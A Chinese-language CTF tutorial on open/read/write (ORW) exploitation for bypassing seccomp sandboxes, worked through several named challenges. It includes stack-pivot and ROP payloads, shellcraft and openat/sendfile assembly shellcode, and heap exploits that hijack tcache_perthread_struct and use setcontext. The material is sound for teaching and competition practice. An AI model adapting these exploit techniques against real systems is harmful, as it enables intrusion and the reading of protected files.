深入探讨栈和堆中ORW的利用方式
字数 1817 2025-08-25 22:59:15
栈和堆中ORW利用方式详解
ORW基础概念
ORW是open、read、write三个系统调用的首字母缩写,在CTF比赛中常用于绕过沙箱限制(如禁用execve函数)获取flag。
ORW基本原理
- open - 打开flag文件
- read - 读取flag内容
- write - 输出flag内容
关键参数说明
-
open(file, oflag)
file: 文件名(如"flag"或"flag.txt")oflag: 打开方式(通常设为0表示只读)
-
read(fd, buf, n_bytes)
fd: 文件描述符(ORW中通常设为3表示从文件读取)buf: 存储读取内容的缓冲区地址n_bytes: 读取字节数
-
write(fd, buf, n_bytes)
fd: 文件描述符(通常设为1表示标准输出)buf: 要输出的内容地址n_bytes: 输出字节数
栈上的ORW利用
ROP链构造ORW
最常见的方式是通过ROPgadget在ELF文件或libc中寻找合适的gadget来设置寄存器参数。
关键寄存器
rax: 系统调用号rdi:- open中存储file地址
- read/write中存储fd
rsi:- open中存储oflag
- read/write中存储buf
rdx: 存储输入/输出的字节数大小
例题分析:[HGAME 2023 week1]orw
-
漏洞分析:
- 禁用execve
- read函数只允许0x28字节,需要栈迁移
-
利用步骤:
- 第一次read泄露libc地址
- 第二次read进行栈迁移到bss段
- 构造完整的ORW ROP链
-
关键payload:
# 栈迁移payload
payload_migration = b'a'*0x100 + p64(elf.bss() + 0x300 + 0x100) + p64(lea_rax)
# ORW ROP链
payload = b'/flag\x00\x00\x00' + p64(pop_rdi) + p64(bss+0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
shellcraft模块ORW
pwntools的shellcraft模块可以简化ORW构造,但需要可执行内存区域。
基本形式
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, buf, n_bytes)
shellcode += shellcraft.write(1, buf, n_bytes)
例题:第二届贺春杯shellcode
-
漏洞分析:
- 映射了可执行内存区域
- 可以直接写入shellcode
-
利用payload:
shellcode = shellcraft.open('./flag\x00')
shellcode += shellcraft.read(3, shellcode_addr+0x300, 0x200)
shellcode += shellcraft.write(1, shellcode_addr+0x300, 0x200)
shellcode = asm(shellcode)
禁用部分函数的ORW变种
当open/read/write被禁用时,可以使用替代函数:
- open被禁 → 使用openat
- write被禁 → 使用puts
- read被禁 → 使用readv或sendfile
sendfile函数详解
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
out_fd: 目标文件描述符(类似write的fd)in_fd: 源文件描述符(类似read的fd=3情况)offset: 从文件内容offset字节处开始读取count: 读取字节数
例题:XYCTF orw
-
漏洞分析:
- 几乎所有ORW相关函数都被禁用
- 需要使用sendfile替代read+write
-
汇编实现ORW:
shellcode = f"""
xor rsi,rsi;
mov rbx,{convert_str_asmencode("/flag")};
push rbx;
mov rdx,0; # 设置oflag为0
mov r10,0;
mov rdi,3; # 文件描述符3
mov rsi,rsp
mov eax,257; # openat的系统调用号
syscall;
mov rsi,3; # in_fd
mov r10,50; # n_bytes
xor rdx,rdx;
mov rdi,rdx;
inc rdi; # out_fd
mov eax,40; # sendfile的系统调用号
syscall;
"""
堆上的ORW利用
纯ROP链ORW
通过控制堆块在程序返回地址处布置ORW ROP链。
例题:[CISCN 2022 华东北]bigduck
-
漏洞分析:
- UAF漏洞
- 高版本libc(2.33)
- 需要劫持tcache_perthread_struct
-
利用步骤:
- 泄露libc和heap地址
- 通过environ泄露栈地址
- 伪造chunk修改返回地址
- 布置ORW ROP链
-
关键payload:
# 泄露heap_base
show(0)
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
# 布置ORW ROP链
orw = p64(0)*3 + p64(pop_ret) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(heap_base+0x300) + p64(puts_addr)
setcontext+ORW
利用setcontext函数通过rdi寄存器控制其他寄存器,特别是mov rsp, qword ptr [rdi + 0xa0]实现栈迁移。
例题:[CISCN 2021 初赛]silverwolf
-
漏洞分析:
- 只能操作最近申请的堆块
- 需要劫持tcache_perthread_struct
-
tcache_perthread_struct结构:
typedef struct tcache_perthread_struct {
char counts[TCACHE_MAX_BINS]; // 记录各bin的堆块数量
tcache_entry *entries[TCACHE_MAX_BINS]; // 各bin链表的首chunk fd指针
} tcache_perthread_struct;
-
利用步骤:
- 劫持tcache_perthread_struct
- 泄露libc地址
- 布置堆块控制流
- 使用setcontext进行栈迁移
- 执行ORW
-
关键payload:
# 劫持tcache_perthread_struct
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
# 布置堆块控制流
payload = b'\x00'*0x40 # 修复counts数组
payload += p64(free_hook) + p64(0) # 0x20 0x30
payload += p64(flag_addr) + p64(fake_orw1) # 0x40 0x50
payload += p64(fake_orw2) + p64(orw1) # 0x60 0x70
payload += p64(orw2) # 0x80
edit(payload)
# ORW shellcode
shellcode = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall) # open
shellcode += p64(rdi) + p64(3) + p64(rsi) + p64(orw1) + p64(rdx) + p64(0x100) + p64(read) # read
shellcode += p64(rdi) + p64(1) + p64(write) # write
总结
ORW利用方式多样,主要分为栈上和堆上两种场景:
-
栈上ORW:
- ROP链构造
- shellcraft模块简化
- 函数禁用时的替代方案
-
堆上ORW:
- 纯ROP链利用
- setcontext+ORW组合利用
关键点:
- 熟悉系统调用参数传递规则
- 掌握寄存器控制技巧
- 灵活应对不同保护机制
- 根据题目限制选择合适的ORW变种
随着libc版本更新,ORW利用方式也在不断演变,需要持续学习和实践。